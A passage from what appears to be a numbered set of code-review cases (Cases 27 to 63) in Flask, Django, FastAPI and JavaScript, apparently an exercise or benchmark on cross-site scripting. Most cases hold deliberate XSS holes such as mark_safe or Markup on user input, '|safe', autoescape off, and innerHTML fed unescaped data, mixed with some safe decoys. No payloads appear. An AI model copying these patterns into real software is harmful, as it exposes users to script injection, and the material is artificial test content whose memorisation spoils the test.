        return render_template("login.html", error=error)

    return "Welcome!"

<!-- templates/login.html -->
<html>
<body>
    <form method="POST" action="/login">
        <input type="text" name="username" placeholder="Username">
        <input type="password" name="password" placeholder="Password">
        <button type="submit">Login</button>
    </form>
    {% if error %}
        <script>
            alert("{{ error }}");
        </script>
    {% endif %}
</body>
</html>

Case 27

# views.py
from django.shortcuts import render
from django.utils.html import format_html, mark_safe

def search_results(request):
    query = request.GET.get("q", "")
    results = ["Result 1", "Result 2", "Result 3"]

    items_html = ""
    for result in results:
        items_html += format_html("<li>{}</li>", result)

    summary = mark_safe(f"<p>Showing results for: <strong>{query}</strong></p>")

    return render(request, "results.html", {
        "summary": summary,
        "items_html": mark_safe(items_html),
    })

<!-- results.html -->
<html>
<body>
    <h1>Search Results</h1>
    {{ summary }}
    <ul>
        {{ items_html }}
    </ul>
</body>
</html>

Case 28

# main.py
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates
from markupsafe import escape

app = FastAPI()
templates = Jinja2Templates(directory="templates")

@app.get("/profile")
def profile(request: Request, username: str = "guest", theme: str = "light"):
    safe_username = str(escape(username))
    return templates.TemplateResponse("profile.html", {
        "request": request,
        "username": safe_username,
        "theme": theme,
    })

<!-- templates/profile.html -->
<html>
<body>
    <div class={{ theme }}>
        <h1>Welcome, {{ username }}!</h1>
        <p>Your profile is loading...</p>
    </div>
</body>
</html>

Case 29

<!DOCTYPE html>
<html>
<head>
    <title>Support Chat</title>
</head>
<body>
    <h1>Live Support</h1>
    <div id="chat-log"></div>
    <input type="text" id="msg-input" placeholder="Type a message...">
    <button onclick="sendMessage()">Send</button>

    <script>
        const chatLog = document.getElementById("chat-log");

        function sendMessage() {
            const input = document.getElementById("msg-input");
            const msg = input.value;

            const encoded = encodeURIComponent(msg);
            chatLog.innerHTML += "<p><strong>You:</strong> " + encoded + "</p>";
            input.value = "";
        }
    </script>
</body>
</html>

Case 30

// components/CommentFeed.jsx
function CommentFeed() {
    const [comments, setComments] = React.useState([]);
    const [input, setInput] = React.useState("");

    function addComment() {
        setComments([...comments, input]);
        setInput("");
    }

    return (
        <div>
            <h2>Comments</h2>
            <input
                type="text"
                value={input}
                onChange={e => setInput(e.target.value)}
            />
            <button onClick={addComment}>Post</button>
            <ul>
                {comments.map((comment, i) => (
                    <li
                        key={i}
                        ref={el => el && (el.innerHTML = comment)}
                    />
                ))}
            </ul>
        </div>
    );
}

Case 31

# views.py
from django.shortcuts import render

def dashboard(request):
    msg = request.GET.get("msg", "")
    return render(request, "dashboard.html", {"msg": msg})

<!-- dashboard.html -->
<html>
<head>
    <script>
        function showBanner(msg) {
            document.getElementById("banner").innerHTML =
                "<p>Notification: " + msg + "</p>";
        }
    </script>
</head>
<body>
    <div id="banner"></div>
    <h1>Dashboard</h1>
    <script>
        showBanner("{{ msg }}");
    </script>
</body>
</html>

Note: This is the one case in the set requiring two coordinated fixes at different layers. See Table 4 above.

Case 32

# main.py
from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse

app = FastAPI()

@app.get("/settings", response_class=HTMLResponse)
def settings(request: Request, lang: str = "en"):
    return f"""
    <html>
    <body>
        <h1>Settings</h1>
        <p>Your language preference: {lang}</p>
        <p>Visit our <a href="/help?lang={lang}">help page</a>.</p>
    </body>
    </html>
    """

Case 33

# app.py
from flask import Flask, request, jsonify
from markupsafe import escape

app = Flask(__name__)

activity_feed = []

@app.route("/activity", methods=["POST"])
def add_activity():
    data = request.get_json()
    action = str(escape(data.get("action", "")))
    activity_feed.append(action)
    return jsonify({"status": "saved"})

@app.route("/feed")
def feed():
    return jsonify({"feed": activity_feed})

<!-- feed.html (served separately as a static file) -->
<!DOCTYPE html>
<html>
<body>
    <h1>Activity Feed</h1>
    <div id="feed"></div>

    <script>
        fetch("/feed")
            .then(res => res.json())
            .then(data => {
                data.feed.forEach(item => {
                    document.getElementById("feed").innerHTML += "<p>" + item + "</p>";
                });
            });
    </script>
</body>
</html>

Case 34

# views.py
from django.http import HttpResponse
from django.utils.html import format_html
from .models import Report

def search(request):
    query = request.GET.get("q", "")
    results = Report.objects.filter(title__icontains=query)

    items_html = ""
    for r in results:
        items_html += format_html("<li>{}</li>", r.title)

    html = format_html(
        "<h2>Results for: {}</h2><ul>{}</ul>",
        query,
        items_html
    )
    return HttpResponse(html)

Case 35

<!DOCTYPE html>
<html>
<body>
    <h1>Product Search</h1>
    <input type="text" id="search" placeholder="Search products..." />
    <ul id="suggestions"></ul>

    <script>
        const input = document.getElementById("search");
        const suggestions = document.getElementById("suggestions");

        input.addEventListener("input", () => {
            const query = input.value;

            fetch(`/api/suggestions?q=${query}`)
                .then(res => res.json())
                .then(data => {
                    suggestions.innerHTML = "";
                    data.results.forEach(item => {
                        suggestions.insertAdjacentHTML(
                            "beforeend",
                            `<li class="suggestion">${item.name}</li>`
                        );
                    });
                });
        });
    </script>
</body>
</html>

Case 36

// ProfilePage.jsx
import { useEffect, useRef, useState } from "react";

export default function ProfilePage({ userId }) {
    const [profile, setProfile] = useState(null);
    const bioRef = useRef(null);

    useEffect(() => {
        fetch(`/api/profile/${userId}`)
            .then(res => res.json())
            .then(data => setProfile(data));
    }, [userId]);

    useEffect(() => {
        if (profile && bioRef.current) {
            bioRef.current.innerHTML = profile.bio;
        }
    }, [profile]);

    if (!profile) return <p>Loading...</p>;

    return (
        <div className="profile">
            <h1>{profile.displayName}</h1>
            <p>Member since: {profile.joinDate}</p>
            <div className="bio-section" ref={bioRef} />
        </div>
    );
}

Case 37

# app.py
from flask import Flask, request, render_template

app = Flask(__name__)

tickets = []

@app.route("/ticket", methods=["POST"])
def submit_ticket():
    title = request.form.get("title", "")
    body = request.form.get("body", "")
    tickets.append({"title": title, "body": body})
    return "Ticket submitted."

@app.route("/tickets")
def view_tickets():
    return render_template("tickets.html", tickets=tickets)

<!-- tickets.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>Support Tickets</h1>
    {% for ticket in tickets %}
        <div class="ticket">
            <h2>{{ ticket.title }}</h2>
            <div class="body">{% autoescape off %}{{ ticket.body }}{% endautoescape %}</div>
        </div>
    {% endfor %}
</body>
</html>

Case 38

# views.py
from django.shortcuts import render
from django.utils.html import escape

def preferences(request):
    saved = False
    email = request.POST.get("email", "")

    if request.method == "POST":
        saved = True

    return render(request, "preferences.html", {
        "email": escape(email),
        "saved": saved,
    })

<!-- preferences.html -->
<!DOCTYPE html>
<html>
<head>
    <script>
        function showConfirmation(email) {
            const banner = document.getElementById("confirmation");
            banner.innerHTML = "Preferences saved for: " + email;
        }
    </script>
</head>
<body>
    <h1>Notification Preferences</h1>
    <form method="POST">
        <input type="text" name="email" placeholder="Email address" />
        <button type="submit">Save</button>
    </form>
    {% if saved %}
        <div id="confirmation"></div>
        <script>
            showConfirmation("{{ email }}");
        </script>
    {% endif %}
</body>
</html>

Case 39

# main.py
import sqlite3
from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse
from markupsafe import escape

app = FastAPI()

def get_db():
    conn = sqlite3.connect("comments.db")
    conn.row_factory = sqlite3.Row
    return conn

def init_db():
    conn = get_db()
    conn.execute("""
        CREATE TABLE IF NOT EXISTS comments (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            author TEXT NOT NULL,
            text TEXT NOT NULL
        )
    """)
    conn.commit()
    conn.close()

init_db()

@app.post("/comment")
async def add_comment(request: Request):
    data = await request.json()
    author = str(escape(data.get("author", "")))
    text = str(escape(data.get("text", "")))
    conn = get_db()
    conn.execute(
        "INSERT INTO comments (author, text) VALUES (?, ?)",
        (author, text)
    )
    conn.commit()
    conn.close()
    return {"status": "saved"}

@app.get("/comments", response_class=HTMLResponse)
async def view_comments():
    conn = get_db()
    rows_data = conn.execute("SELECT author, text FROM comments").fetchall()
    conn.close()

    rows = ""
    for c in rows_data:
        rows += f"<tr><td>{c['author']}</td><td>{c['text']}</td></tr>"

    return f"""
    <!DOCTYPE html>
    <html>
    <body>
        <h1>Comments</h1>
        <table>
            <thead><tr><th>Author</th><th>Comment</th></tr></thead>
            <tbody>{rows}</tbody>
        </table>
    </body>
    </html>
    """

Case 40

# app.py
import sqlite3
from flask import Flask, request, render_template

app = Flask(__name__)

def get_db():
    conn = sqlite3.connect("reviews.db")
    conn.row_factory = sqlite3.Row
    return conn

def init_db():
    conn = get_db()
    conn.execute("""
        CREATE TABLE IF NOT EXISTS reviews (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT NOT NULL,
            review TEXT NOT NULL
        )
    """)
    conn.commit()
    conn.close()

init_db()

@app.route("/review", methods=["POST"])
def submit_review():
    username = request.form.get("username", "")
    review = request.form.get("review", "")
    conn = get_db()
    conn.execute(
        "INSERT INTO reviews (username, review) VALUES (?, ?)",
        (username, review)
    )
    conn.commit()
    conn.close()
    return "Review submitted."

@app.route("/reviews")
def view_reviews():
    conn = get_db()
    rows = conn.execute("SELECT username, review FROM reviews").fetchall()
    conn.close()
    return render_template("reviews.html", reviews=rows)

<!-- reviews.html -->
<!DOCTYPE html>
<html>
<head>
    <script>
        function highlightUser(username) {
            document.getElementById("welcome").innerHTML =
                "Welcome back, " + username + "!";
        }
    </script>
</head>
<body>
    <div id="welcome"></div>
    <h1>Product Reviews</h1>
    {% for review in reviews %}
        <div class="review">
            <strong>{{ review.username }}</strong>
            <p>{{ review.review }}</p>
            <script>highlightUser("{{ review.username }}");</script>
        </div>
    {% endfor %}
</body>
</html>

Case 41

# views.py
import sqlite3
from django.shortcuts import render

def get_db():
    conn = sqlite3.connect("users.db")
    conn.row_factory = sqlite3.Row
    return conn

def profile(request, username):
    conn = get_db()
    row = conn.execute(
        "SELECT username, bio FROM users WHERE username = ?", (username,)
    ).fetchone()
    conn.close()
    return render(request, "profile.html", {"user": row})

<!-- profile.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>{{ user.username }}'s Profile</h1>
    <div class="bio">{{ user.bio | safe }}</div>
</body>
</html>

Case 42

# app.py
import sqlite3
from flask import Flask, request, render_template
from markupsafe import escape

app = Flask(__name__)

def get_db():
    conn = sqlite3.connect("events.db")
    conn.row_factory = sqlite3.Row
    return conn

def init_db():
    conn = get_db()
    conn.execute("""
        CREATE TABLE IF NOT EXISTS events (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            title TEXT NOT NULL,
            description TEXT NOT NULL
        )
    """)
    conn.commit()
    conn.close()

init_db()

@app.route("/event", methods=["POST"])
def add_event():
    title = escape(request.form.get("title", ""))
    description = escape(request.form.get("description", ""))
    conn = get_db()
    conn.execute(
        "INSERT INTO events (title, description) VALUES (?, ?)",
        (str(title), str(description))
    )
    conn.commit()
    conn.close()
    return "Event added."

@app.route("/events")
def view_events():
    conn = get_db()
    events = conn.execute("SELECT title, description FROM events").fetchall()
    conn.close()
    return render_template("events.html", events=events)

<!-- events.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>Upcoming Events</h1>
    {% for event in events %}
        <div class="event">
            <h2>{{ event.title }}</h2>
            <p>{{ event.description }}</p>
        </div>
    {% endfor %}
</body>
</html>

Case 43

# views.py
import sqlite3
from django.shortcuts import render

def get_db():
    conn = sqlite3.connect("forum.db")
    conn.row_factory = sqlite3.Row
    return conn

def forum(request):
    if request.method == "POST":
        author = request.POST.get("author", "")
        body = request.POST.get("body", "")
        conn = get_db()
        conn.execute(
            "INSERT INTO posts (author, body) VALUES (?, ?)",
            (author, body)
        )
        conn.commit()
        conn.close()

    conn = get_db()
    posts = conn.execute("SELECT author, body FROM posts").fetchall()
    conn.close()
    return render(request, "forum.html", {"posts": posts})

<!-- forum.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>Forum</h1>
    {% for post in posts %}
        <div class="post">
            <strong>{{ post.author }}</strong>
            <p>{{ post.body | safe }}</p>
        </div>
    {% endfor %}
    <form method="POST">
        <input type="text" name="author" placeholder="Your name" />
        <textarea name="body" placeholder="Write your post..."></textarea>
        <button type="submit">Post</button>
    </form>
</body>
</html>

Case 44

# main.py
import sqlite3
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates

app = FastAPI()
templates = Jinja2Templates(directory="templates")

def get_db():
    conn = sqlite3.connect("blog.db")
    conn.row_factory = sqlite3.Row
    return conn

def init_db():
    conn = get_db()
    conn.execute("""
        CREATE TABLE IF NOT EXISTS comments (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            author TEXT NOT NULL,
            body TEXT NOT NULL
        )
    """)
    conn.commit()
    conn.close()

init_db()

@app.post("/comment")
async def add_comment(request: Request):
    data = await request.json()
    author = data.get("author", "")
    body = data.get("body", "")
    conn = get_db()
    conn.execute(
        "INSERT INTO comments (author, body) VALUES (?, ?)",
        (author, body)
    )
    conn.commit()
    conn.close()
    return {"status": "saved"}

@app.get("/comments")
async def view_comments(request: Request):
    conn = get_db()
    comments = conn.execute("SELECT author, body FROM comments").fetchall()
    conn.close()
    return templates.TemplateResponse("comments.html", {
        "request": request,
        "comments": comments,
    })

<!-- comments.html -->
<!DOCTYPE html>
<html>
<head>
    <script>
        function renderComment(author, body) {
            const div = document.createElement("div");
            div.innerHTML = "<strong>" + author + "</strong><p>" + body + "</p>";
            document.getElementById("comments").appendChild(div);
        }
    </script>
</head>
<body>
    <h1>Blog Comments</h1>
    <div id="comments"></div>
    <script>
        {% for comment in comments %}
            renderComment({{ comment.author | tojson }}, {{ comment.body | tojson }});
        {% endfor %}
    </script>
</body>
</html>

Case 45

# app.py
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route("/dashboard")
def dashboard():
    username = request.args.get("user", "")
    role = request.args.get("role", "viewer")
    return render_template("dashboard.html", username=username, role=role)

<!-- dashboard.html -->
<!DOCTYPE html>
<html>
<head>
    <script>
        function initDashboard(username, role) {
            document.getElementById("greeting").textContent =
                "Welcome, " + username + "!";
            document.getElementById("role-badge").textContent = role;
        }
    </script>
</head>
<body>
    <div id="greeting"></div>
    <div id="role-badge"></div>
    <script>
        initDashboard("{{ username }}", "{{ role }}");
    </script>
</body>
</html>

Case 46

<!DOCTYPE html>
<html>
<body>
    <h1>Live Chat</h1>
    <div id="chat-window"></div>
    <input type="text" id="message-input" placeholder="Type a message..." />
    <button id="send-btn">Send</button>

    <script>
        const chatWindow = document.getElementById("chat-window");
        const input = document.getElementById("message-input");

        document.getElementById("send-btn").addEventListener("click", () => {
            const message = input.value;
            const encoded = encodeURIComponent(message);

            fetch(`/send?msg=${encoded}`)
                .then(res => res.json())
                .then(data => {
                    data.messages.forEach(msg => {
                        const div = document.createElement("div");
                        div.innerHTML = msg.author + ": " + msg.text;
                        chatWindow.appendChild(div);
                    });
                });

            input.value = "";
        });
    </script>
</body>
</html>

Case 47

# views.py
import sqlite3
from django.shortcuts import render
from django.utils.html import escape

def get_db():
    conn = sqlite3.connect("products.db")
    conn.row_factory = sqlite3.Row
    return conn

def search(request):
    query = request.GET.get("q", "")
    conn = get_db()
    results = conn.execute(
        "SELECT name, price FROM products WHERE name LIKE ?",
        (f"%{query}%",)
    ).fetchall()
    conn.close()
    return render(request, "search.html", {
        "query": escape(query),
        "results": results,
    })

<!-- search.html -->
<!DOCTYPE html>
<html>
<head>
    <script>
        function trackSearch(term) {
            console.log("User searched for: " + term);
            document.getElementById("search-label").textContent =
                "Showing results for: " + term;
        }
    </script>
</head>
<body>
    <div id="search-label"></div>
    <ul>
        {% for result in results %}
            <li>{{ result.name }} — ${{ result.price }}</li>
        {% endfor %}
    </ul>
    <script>
        trackSearch("{{ query }}");
    </script>
</body>
</html>

Case 48

# main.py
import sqlite3
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates

app = FastAPI()
templates = Jinja2Templates(directory="templates")

def get_db():
    conn = sqlite3.connect("news.db")
    conn.row_factory = sqlite3.Row
    return conn

def init_db():
    conn = get_db()
    conn.execute("""
        CREATE TABLE IF NOT EXISTS articles (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            title TEXT NOT NULL,
            summary TEXT NOT NULL,
            author TEXT NOT NULL
        )
    """)
    conn.commit()
    conn.close()

init_db()

@app.post("/article")
async def add_article(request: Request):
    data = await request.json()
    conn = get_db()
    conn.execute(
        "INSERT INTO articles (title, summary, author) VALUES (?, ?, ?)",
        (data.get("title", ""), data.get("summary", ""), data.get("author", ""))
    )
    conn.commit()
    conn.close()
    return {"status": "published"}

@app.get("/news")
async def news_feed(request: Request):
    conn = get_db()
    articles = conn.execute(
        "SELECT title, summary, author FROM articles"
    ).fetchall()
    conn.close()
    return templates.TemplateResponse("news.html", {
        "request": request,
        "articles": articles,
    })

<!-- news.html -->
<!DOCTYPE html>
<html>
<head>
    <script>
        function loadArticle(title, summary, author) {
            const container = document.getElementById("article-view");
            container.innerHTML =
                "<h2>" + title + "</h2>" +
                "<p>" + summary + "</p>" +
                "<small>By " + author + "</small>";
        }
    </script>
</head>
<body>
    <h1>News Feed</h1>
    <div id="article-view"></div>
    <ul>
    {% for article in articles %}
        <li onclick="loadArticle(
            {{ article.title | tojson }},
            {{ article.summary | tojson }},
            {{ article.author | tojson }}
        )">{{ article.title }}</li>
    {% endfor %}
    </ul>
</body>
</html>

Case 49

# views.py
import sqlite3
from django.shortcuts import render
from django.utils.html import escape

def get_db():
    conn = sqlite3.connect("notifications.db")
    conn.row_factory = sqlite3.Row
    return conn

def notifications(request):
    user = request.GET.get("user", "")
    conn = get_db()
    rows = conn.execute(
        "SELECT message FROM notifications WHERE username = ?",
        (user,)
    ).fetchall()
    conn.close()
    messages = [escape(row["message"]) for row in rows]
    return render(request, "notifications.html", {"messages": messages})

<!-- notifications.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>Your Notifications</h1>
    <ul>
        {% for msg in messages %}
            <li>{{ msg }}</li>
        {% endfor %}
    </ul>
</body>
</html>

Case 50

# app.py
import sqlite3
from flask import Flask, request, render_template

app = Flask(__name__)

def get_db():
    conn = sqlite3.connect("inventory.db")
    conn.row_factory = sqlite3.Row
    return conn

def init_db():
    conn = get_db()
    conn.execute("""
        CREATE TABLE IF NOT EXISTS items (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            name TEXT NOT NULL,
            category TEXT NOT NULL,
            quantity INTEGER NOT NULL
        )
    """)
    conn.commit()
    conn.close()

init_db()

@app.route("/item", methods=["POST"])
def add_item():
    name = request.form.get("name", "")
    category = request.form.get("category", "")
    quantity = request.form.get("quantity", 0)
    conn = get_db()
    conn.execute(
        "INSERT INTO items (name, category, quantity) VALUES (?, ?, ?)",
        (name, category, quantity)
    )
    conn.commit()
    conn.close()
    return "Item added."

@app.route("/inventory")
def inventory():
    category = request.args.get("filter", "")
    conn = get_db()
    if category:
        items = conn.execute(
            "SELECT name, category, quantity FROM items WHERE category = ?",
            (category,)
        ).fetchall()
    else:
        items = conn.execute(
            "SELECT name, category, quantity FROM items"
        ).fetchall()
    conn.close()
    return render_template("inventory.html", items=items, filter=category)

<!-- inventory.html -->
<!DOCTYPE html>
<html>
<head>
    <script>
        function applyFilter(category) {
            window.location.href = "/inventory?filter=" + category;
        }
    </script>
</head>
<body>
    <h1>Inventory Dashboard</h1>
    <p>Filtering by: {{ filter }}</p>
    <button onclick="applyFilter('{{ filter }}')">Refresh Filter</button>
    <table>
        <thead><tr><th>Name</th><th>Category</th><th>Quantity</th></tr></thead>
        <tbody>
            {% for item in items %}
                <tr>
                    <td>{{ item.name }}</td>
                    <td>{{ item.category }}</td>
                    <td>{{ item.quantity }}</td>
                </tr>
            {% endfor %}
        </tbody>
    </table>
</body>
</html>

Case 51

<!DOCTYPE html>
<html>
<body>
    <h1>Employee Directory</h1>
    <input type="text" id="search" placeholder="Search by name..." />
    <div id="results"></div>

    <script>
        const searchInput = document.getElementById("search");
        const results = document.getElementById("results");

        searchInput.addEventListener("input", () => {
            const query = searchInput.value;

            fetch(`/api/employees?q=${encodeURIComponent(query)}`)
                .then(res => res.json())
                .then(data => {
                    results.innerHTML = "";
                    data.employees.forEach(emp => {
                        const card = document.createElement("div");
                        card.setAttribute("data-id", emp.id);
                        card.innerHTML =
                            `<h3>${emp.name}</h3>` +
                            `<p>Role: ${emp.role}</p>` +
                            `<p>Email: <a href="mailto:${emp.email}">${emp.email}</a></p>`;
                        results.appendChild(card);
                    });
                });
        });
    </script>
</body>
</html>

Case 52

# app.py
import sqlite3
from flask import Flask, request, render_template

app = Flask(__name__)

def get_db():
    conn = sqlite3.connect("support.db")
    conn.row_factory = sqlite3.Row
    return conn

def init_db():
    conn = get_db()
    conn.execute("""
        CREATE TABLE IF NOT EXISTS tickets (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            subject TEXT NOT NULL,
            message TEXT NOT NULL,
            status TEXT NOT NULL DEFAULT 'open'
        )
    """)
    conn.commit()
    conn.close()

init_db()

@app.route("/ticket", methods=["POST"])
def submit_ticket():
    subject = request.form.get("subject", "")
    message = request.form.get("message", "")
    conn = get_db()
    conn.execute(
        "INSERT INTO tickets (subject, message) VALUES (?, ?)",
        (subject, message)
    )
    conn.commit()
    conn.close()
    return "Ticket submitted."

@app.route("/tickets")
def view_tickets():
    conn = get_db()
    tickets = conn.execute(
        "SELECT id, subject, message, status FROM tickets"
    ).fetchall()
    conn.close()
    return render_template("tickets.html", tickets=tickets)

<!-- tickets.html -->
<!DOCTYPE html>
<html>
<head>
    <script>
        function showTicket(id, subject, message, status) {
            document.getElementById("ticket-id").textContent = id;
            document.getElementById("ticket-subject").innerHTML = subject;
            document.getElementById("ticket-message").innerHTML = message;
            document.getElementById("ticket-status").textContent = status;
        }
    </script>
</head>
<body>
    <h1>Support Tickets</h1>
    <div id="ticket-view">
        <p id="ticket-id"></p>
        <p id="ticket-subject"></p>
        <p id="ticket-message"></p>
        <p id="ticket-status"></p>
    </div>
    <ul>
    {% for ticket in tickets %}
        <li onclick="showTicket(
            {{ ticket.id | tojson }},
            {{ ticket.subject | tojson }},
            {{ ticket.message | tojson }},
            {{ ticket.status | tojson }}
        )">{{ ticket.subject }}</li>
    {% endfor %}
    </ul>
</body>
</html>

Case 53

# main.py
import sqlite3
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates
from markupsafe import escape

app = FastAPI()
templates = Jinja2Templates(directory="templates")

def get_db():
    conn = sqlite3.connect("helpdesk.db")
    conn.row_factory = sqlite3.Row
    return conn

def init_db():
    conn = get_db()
    conn.execute("""
        CREATE TABLE IF NOT EXISTS tickets (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            name TEXT NOT NULL,
            issue TEXT NOT NULL
        )
    """)
    conn.commit()
    conn.close()

init_db()

@app.post("/ticket")
async def submit_ticket(request: Request):
    data = await request.json()
    name = str(escape(data.get("name", "")))
    issue = str(escape(data.get("issue", "")))
    conn = get_db()
    conn.execute(
        "INSERT INTO tickets (name, issue) VALUES (?, ?)",
        (name, issue)
    )
    conn.commit()
    conn.close()
    return {"status": "submitted"}

@app.get("/tickets")
async def view_tickets(request: Request):
    conn = get_db()
    tickets = conn.execute("SELECT name, issue FROM tickets").fetchall()
    conn.close()
    return templates.TemplateResponse("tickets.html", {
        "request": request,
        "tickets": tickets,
    })

<!-- tickets.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>Help Desk Tickets</h1>
    {% for ticket in tickets %}
        <div class="ticket">
            <strong>{{ ticket.name }}</strong>
            <p>{{ ticket.issue }}</p>
        </div>
    {% endfor %}
</body>
</html>

Case 54

# main.py
import sqlite3
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates

app = FastAPI()
templates = Jinja2Templates(directory="templates")

def get_db():
    conn = sqlite3.connect("notes.db")
    conn.row_factory = sqlite3.Row
    return conn

def init_db():
    conn = get_db()
    conn.execute("""
        CREATE TABLE IF NOT EXISTS notes (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            title TEXT NOT NULL,
            body TEXT NOT NULL
        )
    """)
    conn.commit()
    conn.close()

init_db()

@app.post("/note")
async def create_note(request: Request):
    data = await request.json()
    title = data.get("title", "")
    body = data.get("body", "")
    conn = get_db()
    conn.execute(
        "INSERT INTO notes (title, body) VALUES (?, ?)",
        (title, body)
    )
    conn.commit()
    conn.close()
    return {"status": "created"}

@app.get("/notes")
async def view_notes(request: Request):
    conn = get_db()
    notes = conn.execute("SELECT id, title, body FROM notes").fetchall()
    conn.close()
    return templates.TemplateResponse("notes.html", {
        "request": request,
        "notes": [dict(n) for n in notes],
    })

<!-- notes.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>My Notes</h1>
    <div id="note-display"></div>
    <ul>
    {% for note in notes %}
        <li onclick="showNote('{{ note.title }}', '{{ note.body }}')">
            {{ note.title }}
        </li>
    {% endfor %}
    </ul>

    <script>
        function showNote(title, body) {
            document.getElementById("note-display").innerHTML =
                "<h2>" + title + "</h2><p>" + body + "</p>";
        }
    </script>
</body>
</html>

Case 55

# app.py
from flask import Flask, request, render_template
from markupsafe import Markup

app = Flask(__name__)

comments = []

@app.route("/comment", methods=["POST"])
def post_comment():
    author = request.form.get("author", "")
    body = request.form.get("body", "")
    comments.append({
        "author": Markup(author),
        "body": Markup(body),
    })
    return "Comment posted."

@app.route("/comments")
def view_comments():
    return render_template("comments.html", comments=comments)

<!-- comments.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>Comments</h1>
    {% for comment in comments %}
        <div class="comment">
            <strong>{{ comment.author }}</strong>
            <p>{{ comment.body }}</p>
        </div>
    {% endfor %}
</body>
</html>

Case 56

# app.py
from flask import Flask, request, render_template
import sqlite3

app = Flask(__name__)

def get_db():
    conn = sqlite3.connect("forum.db")
    conn.row_factory = sqlite3.Row
    return conn

def init_db():
    conn = get_db()
    conn.execute("""
        CREATE TABLE IF NOT EXISTS posts (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            title TEXT NOT NULL,
            body TEXT NOT NULL
        )
    """)
    conn.commit()
    conn.close()

init_db()

@app.route("/post", methods=["POST"])
def create_post():
    title = request.form.get("title", "")
    body = request.form.get("body", "")
    conn = get_db()
    conn.execute(
        "INSERT INTO posts (title, body) VALUES (?, ?)",
        (title, body)
    )
    conn.commit()
    conn.close()
    return "Post created."

@app.route("/posts")
def view_posts():
    conn = get_db()
    posts = conn.execute("SELECT title, body FROM posts").fetchall()
    conn.close()
    return render_template("posts.html", posts=posts)

<!-- posts.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>Forum Posts</h1>
    {% for post in posts %}
        <div class="post">
            <h2>{{ post.title }}</h2>
            <div class="body">{{ post.body | safe }}</div>
        </div>
    {% endfor %}
</body>
</html>

Case 57

# views.py
from django.shortcuts import render
from django.utils.safestring import mark_safe
from .models import Review

def review_list(request):
    reviews = Review.objects.all()
    processed = []
    for review in reviews:
        processed.append({
            "author": mark_safe(review.author),
            "stars": review.stars,
            "body": mark_safe(review.body),
        })
    return render(request, "reviews.html", {"reviews": processed})

<!-- reviews.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>Customer Reviews</h1>
    {% for review in reviews %}
        <div class="review">
            <strong>{{ review.author }}</strong>
            <span>{{ review.stars }} stars</span>
            <p>{{ review.body }}</p>
        </div>
    {% endfor %}
</body>
</html>

Case 58

# views.py
from django.shortcuts import render
from .models import Announcement

def announcements(request):
    items = Announcement.objects.all()
    return render(request, "announcements.html", {"items": items})

<!-- announcements.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>Announcements</h1>
    {% autoescape off %}
        {% for item in items %}
            <div class="announcement">
                <h2>{{ item.title }}</h2>
                <p>{{ item.body }}</p>
                <small>Posted by: {{ item.author }}</small>
            </div>
        {% endfor %}
    {% endautoescape %}
</body>
</html>

Case 59

# views.py
from django.shortcuts import render
from django.utils.html import format_html
from .models import Product

def product_detail(request, product_id):
    product = Product.objects.get(id=product_id)
    badge = format_html(product.badge_html)
    return render(request, "product.html", {
        "product": product,
        "badge": badge,
    })

<!-- product.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>{{ product.name }}</h1>
    <p>{{ product.description }}</p>
    <div class="badge">{{ badge }}</div>
</body>
</html>

Case 60

# views.py
from django.shortcuts import render
from django.utils.html import format_html
from .models import Comment

def comment_list(request):
    comments = Comment.objects.all()
    rendered = []
    for comment in comments:
        rendered.append(
            format_html(
                f'<div class="comment"><strong>{comment.author}</strong>'
                f': {{}}</div>',
                comment.body
            )
        )
    return render(request, "comments.html", {"comments": rendered})

<!-- comments.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>Comments</h1>
    {% for comment in rendered %}
        {{ comment }}
    {% endfor %}
</body>
</html>

Case 61

# models.py
from django.db import models
from django.utils.safestring import mark_safe

class UserProfile(models.Model):
    username = models.CharField(max_length=150)
    role     = models.CharField(max_length=50)

    def get_username_display(self):
        return mark_safe(self.username)


# views.py
from django.utils.html import format_html
from django.shortcuts import render
from .models import UserProfile

def profile_page(request, user_id):
    profile = UserProfile.objects.get(id=user_id)
    badge = format_html(
        '<span class="badge role-{}">{}</span>',
        profile.role,
        profile.get_username_display(),
    )
    return render(request, 'profile.html', {'badge': badge})

{# profile.html #}
<div class="profile-header">
    {{ badge }}
</div>

Case 62

# views.py
from django.shortcuts import render
from django.utils.html import escape
from .models import Notification

def notifications_page(request):
    notifications = Notification.objects.filter(
        user=request.user
    ).values_list('message', flat=True)

    safe_notifications = [escape(msg) for msg in notifications]

    return render(request, 'notifications.html', {
        'notifications': safe_notifications,
    })

{# notifications.html #}
<script>
    const notifications = [
        {% for msg in notifications %}
            "{{ msg | safe }}",
        {% endfor %}
    ];

    function renderNotifications() {
        const container = document.getElementById('notif-list');
        notifications.forEach(function(msg) {
            container.innerHTML += '<li>' + msg + '</li>';
        });
    }

    renderNotifications();
</script>

<ul id="notif-list"></ul>

Case 63

# utils.py
from markupsafe import Markup

def format_comment_preview(author, preview_text):
    """Returns a formatted comment preview for display."""
    author_safe   = Markup(author)
